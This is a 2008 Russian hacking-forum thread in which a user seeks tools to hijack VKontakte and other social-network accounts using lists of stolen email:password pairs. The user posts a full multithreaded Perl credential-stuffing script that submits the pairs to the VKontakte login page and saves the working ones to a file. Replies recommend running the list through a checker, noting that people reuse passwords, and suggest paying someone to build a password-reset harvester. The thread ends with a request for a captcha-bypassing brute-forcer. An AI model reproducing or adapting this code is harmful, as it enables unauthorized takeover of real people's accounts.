Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Болталка (https://forum.antichat.xyz/forumdisplay.php?f=46)
-   -   скрипт нужен +++ (https://forum.antichat.xyz/showthread.php?t=89067)

F1shka 26.10.2008 01:20

скрипт нужен +++
 
Доброго времени суток! Помогите кто сколько может, т.е. нужен скрипт на перле и\или прога, которая вспоминает пароль по отбрученным мылам, от соц сетей ( вконтакте и др. )
login@mail.ru : password
и в отдельный файл (good.txt) записывала пасы.

P3L3NG 26.10.2008 01:26

вряд ли такое есть в паблике. лучше просто в чекер загони список. многие делают одинаковые пассы

InfernoNet 26.10.2008 01:27

Цитата:

которая вспоминает пароль по отбрученным мылам
Смысл разъясни. Не понимаю я смысл данной фразы.

F1shka 26.10.2008 01:32

Объясняю по русски: у меня есть мыла отбрученные вида
Lolgin@mail.ru:password
мне надо чтобы скрипт заходил на вконтакте и нажимал восстановить пароль и из письма выдирал пасс, вроде ничего сложного.
Я нашёл, но он что то кривовато, мб подскажите как оно и чем едят
Код:

#! /usr/bin/perl -w
#(c)Kaimi
#modified by b00 (v0.2), Oct 2008
use strict;
use IO::Socket;
use threads;
use threads::shared;

die "\nUsage: \$ ./pass_bruter.pl [threads] [input file (or e-mails file)] [output file] [password (if entered e-mail list)]\n\n" if !@ARGV;

our $threads =  $ARGV[0] || 5                                ; #Кол-во потоков
#our $combolist = $ARGV[1];                                        # Structure:  e-mail:password
#our $fname  =  $ARGV[2] || 'good.txt'          ; #Валидные
our $pass    =  $ARGV[3] || undef            ; #pwd
#our $ml      =  shift || Reult                        ; #Список мыл

my $acc;
my @acc:shared;
my $i:shared;
my $total:shared=0;
$|=1;

print "Loading...\n";

open (ACS,'<',$ARGV[1]) || die("Could not open input file: $!");
while (<ACS>){
        chomp;
        ($acc,$pass)=split(/:/,$_);
        push(@acc,"$acc,$pass");
}

my $size = $.;
my $time          = time;
my $start          = localtime;
print  "Loaded: ",$size," emails.\n";
printf "Started at $start\n";

my @trl;
for(0..local $threads) {$trl[$_] = threads->create(\&Brut, $_);}
foreach(@trl) { $_->join; }


my $percent;
sub Brut{
        while(@acc){
                {lock(@acc); ($acc,$pass)=split(/,/,shift(@acc));}
                my $sock = new IO::Socket::INET
                (
                PeerAddr => 'vkontakte.ru',
                  PeerPort => 80,
#                LocalPort => 8080,
                  PeerProto => 'tcp',
                  TimeOut => 20,
                ) or die "Can't connect: $!\n";
               
                my $data = "email=$acc&pass=$pass";
                my $len = length($data);
                my $re = "POST /login.php HTTP/1.1\n".
                "Host: vkontakte.ru\n".
                "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9) Gecko/2008052906 Firefox/2.0.0.11\n".
                "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\n".
                "Accept-Language: ru,en-us;q=0.7,en;q=0.3\n".
                "Accept-Encoding: gzip,deflate\n".
                "Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7\n".
                "Keep-Alive: 300\n".
                "Proxy-Connection: keep-alive\n".
                "Referer: http://vkontakte.ru/index.php\n".
                "Content-Type: application/x-www-form-urlencoded\n".
                "Content-Length: $len\n\n$data";
               
                print $sock $re;
                sysread ($sock, my $answ, 988);
                       
                if($answ=~/\S{32}/){
                                {lock($total); $total++;}
                                print "[+] $acc\n";
                                open(FILE, '>>',$ARGV[2]) || die("Could not open $ARGV[2]: $!\n");
                                print FILE "$acc : $pass\n";
                                close(FILE);
                }
                {lock($i);$i++;}
                $percent = ($i/$size)*100;
                progress();
        }
}


 $time = time-$time;
my $end = localtime;
printf "Finished at $end\n";
printf "Time elapsed: $time sec\n";
printf "File $ARGV[1] processed.\n";
printf "Finded: $total :(\n" if $total==0;
printf "Finded: $total :)\n" if $total>0;

sub progress(){
print "|";
$percent = sprintf("%.2f", $percent);
print "< $percent% > complete";
print "\r";
}
exit();


presidentua 26.10.2008 02:09

Врядли бесплтано будет кто-то делать. Предложи н-ную сумму и на завтра тебе умельцы все сделают. Токо учти что за малую сумму никто не согласиться работать, ибо например не так-то просто выдрать сообщения с Гугла и других мыл которые не поддерживают ПОП-протокол

F1shka 26.10.2008 02:25

приму в добрые руки любой рабрчий брут с обходом капчи..
[:стыдно, краснеет, надеется на лучшее:]


Время: 20:02